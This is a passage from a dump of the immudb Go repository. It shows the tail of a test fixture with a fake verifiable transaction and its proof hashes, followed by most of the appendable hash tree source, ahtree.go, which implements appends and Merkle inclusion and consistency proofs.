0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTargetBlTxAlh: []byte{\n\t\t\t\t0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF,\n\t\t\t\t0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11,\n\t\t\t},\n\t\t\tLastInclusionProof: [][]byte{\n\t\t\t\t{\n\t\t\t\t\t0x9B, 0xE3, 0x2A, 0x61, 0x60, 0xD2, 0x7A, 0x88, 0x4B, 0xA7, 0xCF, 0xB0, 0x20, 0xCE, 0x78, 0x73,\n\t\t\t\t\t0x5D, 0xBC, 0xCD, 0x40, 0x65, 0x23, 0xF3, 0x7D, 0x6E, 0x5A, 0xAD, 0x63, 0x39, 0xCD, 0x72, 0x73,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12,\n\t\t\t\t\t0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E,\n\t\t\t\t},\n\t\t\t},\n\t\t\tLinearProof: &schema.LinearProof{\n\t\t\t\tSourceTxId: 4,\n\t\t\t\tTargetTxId: 5,\n\t\t\t\tTerms: [][]byte{\n\t\t\t\t\t{\n\t\t\t\t\t\t0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF,\n\t\t\t\t\t\t0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11,\n\t\t\t\t\t},\n\n\t\t\t\t\t{\n\t\t\t\t\t\t0x0F, 0x31, 0x18, 0xA6, 0x51, 0x1D, 0x80, 0x1F, 0xDC, 0x69, 0xA8, 0x5A, 0xEC, 0x60, 0x3B, 0x6C,\n\t\t\t\t\t\t0x6B, 0xCE, 0x79, 0x1B, 0x95, 0x09, 0x48, 0x95, 0x73, 0xA0, 0xE5, 0x61, 0xF3, 0xA0, 0x0B, 0x48,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tverifiableTxById_5_2_fake = &schema.VerifiableTx{\n\t\tTx: &schema.Tx{\n\t\t\tHeader: &schema.TxHeader{\n\t\t\t\tId: 2,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x90, 0xBC, 0x22, 0xA3, 0x60, 0x0E, 0x97, 0x70, 0xA8, 0x89, 0x9C, 0x55, 0xD2, 0x7F, 0x17, 0xB0,\n\t\t\t\t\t0xA2, 0x40, 0xEC, 0x99, 0xE2, 0x99, 0xFE, 0x26, 0xB0, 0x34, 0xBE, 0x61, 0x9C, 0x1D, 0x84, 0xEA,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tEntries: []*schema.TxEntry{\n\t\t\t\t{\n\t\t\t\t\tKey: []byte{\n\t\t\t\t\t\t0x00, 0x66, 0x61, 0x6B, 0x65, 0x2D, 0x6B, 0x65, 0x79,\n\t\t\t\t\t},\n\t\t\t\t\tHValue: []byte{\n\t\t\t\t\t\t0x1E, 0x53, 0xF2, 0x30, 0xA2, 0x8E, 0x86, 0x56, 0x31, 0xD1, 0x98, 0xB9, 0x1D, 0x03, 0x1A, 0x9E,\n\t\t\t\t\t\t0x15, 0xB8, 0xA5, 0x2A, 0xAD, 0x76, 0x81, 0x33, 0x87, 0x4C, 0x86, 0xC7, 0xC3, 0x39, 0x75, 0xB1,\n\t\t\t\t\t},\n\t\t\t\t\tVLen: 11,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tDualProof: &schema.DualProof{\n\t\t\tSourceTxHeader: &schema.TxHeader{\n\t\t\t\tId: 2,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA,\n\t\t\t\t\t0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x90, 0xBC, 0x22, 0xA3, 0x60, 0x0E, 0x97, 0x70, 0xA8, 0x89, 0x9C, 0x55, 0xD2, 0x7F, 0x17, 0xB0,\n\t\t\t\t\t0xA2, 0x40, 0xEC, 0x99, 0xE2, 0x99, 0xFE, 0x26, 0xB0, 0x34, 0xBE, 0x61, 0x9C, 0x1D, 0x84, 0xEA,\n\t\t\t\t},\n\t\t\t\tBlTxId: 1,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTargetTxHeader: &schema.TxHeader{\n\t\t\t\tId: 5,\n\t\t\t\tPrevAlh: []byte{\n\t\t\t\t\t0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF,\n\t\t\t\t\t0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11,\n\t\t\t\t},\n\t\t\t\tTs:       1661869350,\n\t\t\t\tVersion:  1,\n\t\t\t\tNentries: 1,\n\t\t\t\tEH: []byte{\n\t\t\t\t\t0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC,\n\t\t\t\t\t0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA,\n\t\t\t\t},\n\t\t\t\tBlTxId: 4,\n\t\t\t\tBlRoot: []byte{\n\t\t\t\t\t0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26,\n\t\t\t\t\t0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C,\n\t\t\t\t},\n\t\t\t},\n\t\t\tInclusionProof: [][]byte{\n\t\t\t\t{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53,\n\t\t\t\t\t0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA,\n\t\t\t\t},\n\t\t\t},\n\t\t\tConsistencyProof: [][]byte{\n\t\t\t\t{\n\t\t\t\t\t0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB,\n\t\t\t\t\t0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0xEB, 0xA0, 0xC2, 0x62, 0xC4, 0x5F, 0x64, 0xB5, 0x54, 0x29, 0x33, 0x54, 0x37, 0x33, 0x7D, 0x79,\n\t\t\t\t\t0x33, 0x43, 0x42, 0xE2, 0xCF, 0x71, 0x87, 0x6E, 0x93, 0x0B, 0x4B, 0x19, 0x90, 0xA5, 0x56, 0x8B,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53,\n\t\t\t\t\t0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTargetBlTxAlh: []byte{\n\t\t\t\t0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF,\n\t\t\t\t0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11,\n\t\t\t},\n\t\t\tLastInclusionProof: [][]byte{\n\t\t\t\t{\n\t\t\t\t\t0x9B, 0xE3, 0x2A, 0x61, 0x60, 0xD2, 0x7A, 0x88, 0x4B, 0xA7, 0xCF, 0xB0, 0x20, 0xCE, 0x78, 0x73,\n\t\t\t\t\t0x5D, 0xBC, 0xCD, 0x40, 0x65, 0x23, 0xF3, 0x7D, 0x6E, 0x5A, 0xAD, 0x63, 0x39, 0xCD, 0x72, 0x73,\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\t0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12,\n\t\t\t\t\t0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E,\n\t\t\t\t},\n\t\t\t},\n\t\t\tLinearProof: &schema.LinearProof{\n\t\t\t\tSourceTxId: 4,\n\t\t\t\tTargetTxId: 5,\n\t\t\t\tTerms: [][]byte{\n\t\t\t\t\t{\n\t\t\t\t\t\t0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF,\n\t\t\t\t\t\t0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11,\n\t\t\t\t\t},\n\n\t\t\t\t\t{\n\t\t\t\t\t\t0x0F, 0x31, 0x18, 0xA6, 0x51, 0x1D, 0x80, 0x1F, 0xDC, 0x69, 0xA8, 0x5A, 0xEC, 0x60, 0x3B, 0x6C,\n\t\t\t\t\t\t0x6B, 0xCE, 0x79, 0x1B, 0x95, 0x09, 0x48, 0x95, 0x73, 0xA0, 0xE5, 0x61, 0xF3, 0xA0, 0x0B, 0x48,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n)\n"
  },
  {
    "path": "embedded/ahtree/ahtree.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage ahtree\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math/bits\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n)\n\nvar ErrIllegalArguments = errors.New(\"ahtree: illegal arguments\")\nvar ErrInvalidOptions = fmt.Errorf(\"%w: invalid options\", ErrIllegalArguments)\nvar ErrorPathIsNotADirectory = errors.New(\"ahtree: path is not a directory\")\nvar ErrorCorruptedData = errors.New(\"ahtree: data log is corrupted\")\nvar ErrorCorruptedDigests = errors.New(\"ahtree: hash log is corrupted\")\nvar ErrAlreadyClosed = errors.New(\"ahtree: already closed\")\nvar ErrEmptyTree = errors.New(\"ahtree: empty tree\")\nvar ErrReadOnly = errors.New(\"ahtree: read-only mode\")\nvar ErrUnexistentData = errors.New(\"ahtree: attempt to read unexistent data\")\nvar ErrCannotResetToLargerSize = errors.New(\"ahtree: can not reset the tree to a larger size\")\n\nconst LeafPrefix = byte(0)\nconst NodePrefix = byte(1)\n\nconst Version = 1\n\nconst (\n\tMetaVersion = \"VERSION\"\n)\n\nconst cLogEntrySize = offsetSize + szSize\nconst offsetSize = 8\nconst szSize = 4\n\n// AHtree stands for Appendable Hash Tree\ntype AHtree struct {\n\tpLog appendable.Appendable\n\tdLog appendable.Appendable\n\tcLog appendable.Appendable\n\n\tpLogSize int64\n\tdLogSize int64\n\tcLogSize int64\n\n\tlatestSyncedNode uint64\n\n\tcLogBuf      []byte\n\tcLogBufCount int\n\n\tpCache *cache.Cache\n\tdCache *cache.Cache\n\n\tsyncThld int\n\treadOnly bool\n\n\tclosed bool\n\tmutex  sync.Mutex\n\n\t_digests [256 * sha256.Size]byte // pre-allocated array for writing digests\n}\n\nfunc Open(path string, opts *Options) (*AHtree, error) {\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfinfo, err := os.Stat(path)\n\tif err != nil {\n\t\tif !os.IsNotExist(err) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr := os.Mkdir(path, opts.fileMode)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if !finfo.IsDir() {\n\t\treturn nil, fmt.Errorf(\"%w: '%s'\", ErrorPathIsNotADirectory, path)\n\t}\n\n\tmetadata := appendable.NewMetadata(nil)\n\tmetadata.PutInt(MetaVersion, Version)\n\n\tappendableOpts := multiapp.DefaultOptions().\n\t\tWithReadOnly(opts.readOnly).\n\t\tWithReadBufferSize(opts.readBufferSize).\n\t\tWithWriteBufferSize(opts.writeBufferSize).\n\t\tWithRetryableSync(opts.retryableSync).\n\t\tWithAutoSync(opts.autoSync).\n\t\tWithFileSize(opts.fileSize).\n\t\tWithFileMode(opts.fileMode).\n\t\tWithMetadata(metadata.Bytes())\n\n\tappFactory := opts.appFactory\n\tif appFactory == nil {\n\t\tappFactory = func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\tpath := filepath.Join(rootPath, subPath)\n\t\t\treturn multiapp.Open(path, opts)\n\t\t}\n\t}\n\n\tappendableOpts.WithFileExt(\"dat\")\n\tpLog, err := appFactory(path, \"data\", appendableOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tappendableOpts.WithFileExt(\"sha\")\n\tdLog, err := appFactory(path, \"tree\", appendableOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tappendableOpts.WithFileExt(\"di\")\n\tcLog, err := appFactory(path, \"commit\", appendableOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn OpenWith(pLog, dLog, cLog, opts)\n}\n\nfunc OpenWith(pLog, dLog, cLog appendable.Appendable, opts *Options) (*AHtree, error) {\n\tif pLog == nil || dLog == nil || cLog == nil {\n\t\treturn nil, fmt.Errorf(\"%w: nil appendable\", ErrIllegalArguments)\n\t}\n\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcLogSize, err := cLog.Size()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trem := cLogSize % cLogEntrySize\n\tif rem > 0 {\n\t\tcLogSize -= rem\n\t\terr = cLog.SetOffset(cLogSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tlatestSyncedNode := uint64(cLogSize / cLogEntrySize)\n\n\tpCache, err := cache.NewCache(opts.dataCacheSlots)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdCache, err := cache.NewCache(opts.digestsCacheSlots)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar cLogBuf []byte\n\tif !opts.readOnly {\n\t\tcLogBuf = make([]byte, opts.syncThld*cLogEntrySize)\n\t}\n\n\tt := &AHtree{\n\t\tpLog:             pLog,\n\t\tdLog:             dLog,\n\t\tcLog:             cLog,\n\t\tpLogSize:         0,\n\t\tdLogSize:         0,\n\t\tcLogSize:         cLogSize,\n\t\tlatestSyncedNode: latestSyncedNode,\n\t\tpCache:           pCache,\n\t\tdCache:           dCache,\n\t\tsyncThld:         opts.syncThld,\n\t\treadOnly:         opts.readOnly,\n\t\tcLogBuf:          cLogBuf,\n\t}\n\n\tif cLogSize == 0 {\n\t\treturn t, nil\n\t}\n\n\tvar b [cLogEntrySize]byte\n\t_, err = cLog.ReadAt(b[:], cLogSize-cLogEntrySize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpOff := binary.BigEndian.Uint64(b[:])\n\tpSize := binary.BigEndian.Uint32(b[offsetSize:])\n\n\t// pOff denotes the latest payload\n\t// pSize denotes the size of the latest payload\n\t// as payloads are prefixed with the size when written into pLog\n\t// pLogSize is calculated with the offset, the size description of the payload and the payload itself\n\tt.pLogSize = int64(pOff) + int64(szSize+pSize)\n\n\tpLogFileSize, err := pLog.Size()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif pLogFileSize < t.pLogSize {\n\t\treturn nil, ErrorCorruptedData\n\t}\n\n\tt.dLogSize = int64(nodesUpto(t.latestSyncedNode) * sha256.Size)\n\n\tdLogSize, err := dLog.Size()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif dLogSize < t.dLogSize {\n\t\treturn nil, ErrorCorruptedDigests\n\t}\n\n\treturn t, nil\n}\n\nfunc (t *AHtree) Append(d []byte) (n uint64, h [sha256.Size]byte, err error) {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.closed {\n\t\terr = ErrAlreadyClosed\n\t\treturn\n\t}\n\n\tif t.readOnly {\n\t\terr = ErrReadOnly\n\t\treturn\n\t}\n\n\tif d == nil {\n\t\terr = ErrIllegalArguments\n\t\treturn\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr = t.pLog.SetOffset(t.pLogSize)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tvar dLenBs [szSize]byte\n\tbinary.BigEndian.PutUint32(dLenBs[:], uint32(len(d)))\n\tpoff, _, perr := t.pLog.Append(dLenBs[:])\n\tif perr != nil {\n\t\terr = perr\n\t\treturn\n\t}\n\n\tif len(d) > 0 {\n\t\t_, _, err = t.pLog.Append(d)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tn = t.size() + 1\n\n\tb := make([]byte, 1+len(d))\n\tb[0] = LeafPrefix\n\tcopy(b[1:], d) // payload\n\n\th = sha256.Sum256(b)\n\tcopy(t._digests[:], h[:])\n\tdCount := 1\n\n\tw := n - 1\n\tl := 0\n\tk := n - 1\n\n\tfor w > 0 {\n\t\tif w%2 == 1 {\n\t\t\tb := [1 + sha256.Size*2]byte{NodePrefix}\n\n\t\t\thkl, nErr := t.node(k, l)\n\t\t\tif nErr != nil {\n\t\t\t\terr = nErr\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tcopy(b[1:], hkl[:])\n\t\t\tcopy(b[1+sha256.Size:], h[:])\n\n\t\t\th = sha256.Sum256(b[:])\n\n\t\t\tcopy(t._digests[dCount*sha256.Size:], h[:])\n\t\t\tdCount++\n\t\t}\n\n\t\tk = k &^ uint64(1<<l)\n\t\tw >>= 1\n\t\tl++\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr = t.dLog.SetOffset(t.dLogSize)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t_, _, err = t.dLog.Append(t._digests[:dCount*sha256.Size])\n\tif err != nil {\n\t\treturn\n\t}\n\n\t_, _, err = t.pCache.Put(n, b[1:])\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor i := 0; i < dCount; i++ {\n\t\tvar hb [sha256.Size]byte\n\n\t\thbase := i * sha256.Size\n\t\tcopy(hb[:], t._digests[hbase:hbase+sha256.Size])\n\n\t\tnp := uint64(t.dLogSize/sha256.Size) + uint64(i)\n\t\t_, _, err = t.dCache.Put(np, hb)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar cLogEntry [cLogEntrySize]byte\n\tbinary.BigEndian.PutUint64(cLogEntry[:], uint64(poff))\n\tbinary.BigEndian.PutUint32(cLogEntry[offsetSize:], uint32(len(d)))\n\n\tcopy(t.cLogBuf[t.cLogBufCount*cLogEntrySize:], cLogEntry[:])\n\tt.cLogBufCount++\n\n\tif t.cLogBufCount == t.syncThld {\n\t\terr = t.sync()\n\t\tif err != nil {\n\t\t\tt.cLogBufCount--\n\t\t\treturn\n\t\t}\n\t}\n\n\tt.pLogSize += int64(szSize + len(d))\n\tt.dLogSize += int64(dCount * sha256.Size)\n\tt.cLogSize += cLogEntrySize\n\n\treturn\n}\n\nfunc (t *AHtree) ResetSize(newSize uint64) error {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif t.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\tcurrentSize := t.size()\n\n\tif currentSize < newSize {\n\t\treturn ErrCannotResetToLargerSize\n\t}\n\n\tif currentSize == newSize {\n\t\treturn nil\n\t}\n\n\terr := t.sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcLogSize := int64(newSize * cLogEntrySize)\n\tpLogSize := int64(0)\n\tdLogSize := int64(0)\n\n\tif newSize > 0 {\n\t\tvar b [cLogEntrySize]byte\n\t\t_, err := t.cLog.ReadAt(b[:], cLogSize-cLogEntrySize)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tpOff := binary.BigEndian.Uint64(b[:])\n\t\tpSize := binary.BigEndian.Uint32(b[offsetSize:])\n\n\t\t// pOff denotes the latest payload\n\t\t// pSize denotes the size of the latest payload\n\t\t// as payloads are prefixed with the size when written into pLog\n\t\t// pLogSize is calculated with the offset, the size description of the payload and the payload itself\n\t\tpLogSize = int64(pOff) + int64(szSize+pSize)\n\n\t\tpLogFileSize, err := t.pLog.Size()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif pLogFileSize < pLogSize {\n\t\t\treturn ErrorCorruptedData\n\t\t}\n\n\t\tdLogSize = int64(nodesUpto(uint64(cLogSize/cLogEntrySize)) * sha256.Size)\n\n\t\tdLogFileSize, err := t.dLog.Size()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif dLogFileSize < dLogSize {\n\t\t\treturn ErrorCorruptedDigests\n\t\t}\n\t}\n\n\t// Invalidate caches\n\tfor i := cLogSize; i < t.cLogSize; i += cLogEntrySize {\n\t\tt.pCache.Pop(uint64(i / cLogEntrySize))\n\t}\n\tfor i := dLogSize; i < t.dLogSize; i += sha256.Size {\n\t\tt.dCache.Pop(uint64(i / sha256.Size))\n\t}\n\n\tt.cLogSize = cLogSize\n\tt.pLogSize = pLogSize\n\tt.dLogSize = dLogSize\n\n\tt.latestSyncedNode = newSize\n\n\treturn nil\n}\n\nfunc (t *AHtree) node(n uint64, l int) (h [sha256.Size]byte, err error) {\n\treturn t.nodeAt(nodesUntil(n) + uint64(l))\n}\n\nfunc (t *AHtree) nodeAt(i uint64) (h [sha256.Size]byte, err error) {\n\tv, err := t.dCache.Get(i)\n\n\tif err == nil {\n\t\treturn v.([sha256.Size]byte), nil\n\t}\n\n\tif err != cache.ErrKeyNotFound {\n\t\treturn\n\t}\n\n\t_, err = t.dLog.ReadAt(h[:], int64(i*sha256.Size))\n\tif err != nil {\n\t\treturn\n\t}\n\n\t_, _, err = t.dCache.Put(i, h)\n\n\treturn h, err\n}\n\nfunc nodesUntil(n uint64) uint64 {\n\tif n == 1 {\n\t\treturn 0\n\t}\n\treturn nodesUpto(n - 1)\n}\n\nfunc nodesUpto(n uint64) uint64 {\n\to := n\n\tl := 0\n\n\tfor {\n\t\tif n < (1 << l) {\n\t\t\tbreak\n\t\t}\n\n\t\to += n >> (l + 1) << l\n\n\t\tif (n/(1<<l))%2 == 1 {\n\t\t\to += n % (1 << l)\n\t\t}\n\n\t\tl++\n\t}\n\n\treturn o\n}\n\nfunc levelsAt(n uint64) int {\n\tw := n - 1\n\tl := 0\n\tfor w > 0 {\n\t\tif w%2 == 1 {\n\t\t\tl++\n\t\t}\n\t\tw >>= 1\n\t}\n\treturn l\n}\n\nfunc (t *AHtree) InclusionProof(i, j uint64) (p [][sha256.Size]byte, err error) {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.closed {\n\t\terr = ErrAlreadyClosed\n\t\treturn\n\t}\n\n\tif i > j {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif j > t.size() {\n\t\treturn nil, ErrUnexistentData\n\t}\n\n\treturn t.inclusionProof(i, j, bits.Len64(j-1))\n}\n\nfunc (t *AHtree) inclusionProof(i, j uint64, height int) ([][sha256.Size]byte, error) {\n\tvar proof [][sha256.Size]byte\n\n\tfor h := height - 1; h >= 0; h-- {\n\t\tif (j-1)&(1<<h) > 0 {\n\t\t\tk := (j - 1) >> h << h\n\n\t\t\tif i <= k {\n\t\t\t\thNode, err := t.highestNode(j, h)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tproof = append([][sha256.Size]byte{hNode}, proof...)\n\n\t\t\t\tp, err := t.inclusionProof(i, k, h)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tproof = append(p, proof...)\n\t\t\t\treturn proof, nil\n\t\t\t}\n\n\t\t\tn, err := t.node(k, h)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tproof = append([][sha256.Size]byte{n}, proof...)\n\t\t}\n\t}\n\n\treturn proof, nil\n}\n\nfunc (t *AHtree) ConsistencyProof(i, j uint64) (p [][sha256.Size]byte, err error) {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.closed {\n\t\terr = ErrAlreadyClosed\n\t\treturn\n\t}\n\n\tif i > j {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif j > t.size() {\n\t\treturn nil, ErrUnexistentData\n\t}\n\n\treturn t.consistencyProof(i, j, bits.Len64(j-1))\n}\n\nfunc (t *AHtree) consistencyProof(i, j uint64, height int) ([][sha256.Size]byte, error) {\n\tvar proof [][sha256.Size]byte\n\n\tfor h := height - 1; h >= 0; h-- {\n\t\tif (j-1)&(1<<h) > 0 {\n\t\t\tk := (j - 1) >> h << h\n\n\t\t\tif i <= k {\n\t\t\t\thNode, err := t.highestNode(j, h)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tproof = append([][sha256.Size]byte{hNode}, proof...)\n\n\t\t\t\tif i < k 